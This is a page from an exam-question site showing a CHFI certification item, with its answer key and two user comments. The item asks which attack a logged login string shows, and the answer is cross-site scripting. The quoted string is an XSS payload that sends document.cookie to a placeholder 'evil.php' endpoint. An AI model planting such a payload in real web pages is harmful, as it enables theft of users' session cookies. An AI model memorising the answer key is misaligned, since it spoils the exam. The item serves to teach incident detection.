Welcome to ExamTopics
ExamTopics Logo
- Expert Verified, Online, Free.
exam questions

Exam 312-49v10 All Questions

View all questions & answers for the 312-49v10 exam

Exam 312-49v10 topic 1 question 656 discussion

Actual exam question from ECCouncil's 312-49v10
Question #: 656
Topic #: 1
[All 312-49v10 Questions]

You are the incident response manager at a regional bank. While performing routine auditing of web application logs, you find several attempted login submissions that contain the following strings:
< SCRIPT type="text/javascript" >
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
< /SCRIPT >
What kind of attack has occurred?

  • A. Cross-site scripting
  • B. Cross-site request forgery
  • C. Buffer overflow
  • D. SQL injection
Show Suggested Answer Hide Answer
Suggested Answer: A 🗳️

Comments

Chosen Answer:
This is a voting comment (?) , you can switch to a simple comment.
Switch to a voting comment New
aqeel1506
4 months ago
The strings provided in the login submissions suggest an attempt to execute a script that captures cookies and sends them to an external PHP script. This behavior is characteristic of a Cross-site scripting (XSS) attack. Therefore, the correct answer is: A. Cross-site scripting This aligns with the information in the CHFI v10 textbook, which describes XSS attacks as those that inject malicious scripts into otherwise benign and trusted websites, often to steal cookies or other sensitive information.
upvoted 1 times
...
Elb
7 months ago
A < https://owasp.org/www-community/attacks/xss/
upvoted 1 times
...
Community vote distribution
A (35%)
C (25%)
B (20%)
Other
Most Voted
A voting comment increases the vote count for the chosen answer by one.

Upvoting a comment with a selected answer will also increase the vote count towards that answer by one. So if you see a comment that you already agree with, you can upvote it instead of posting a new comment.

SaveCancel
Loading ...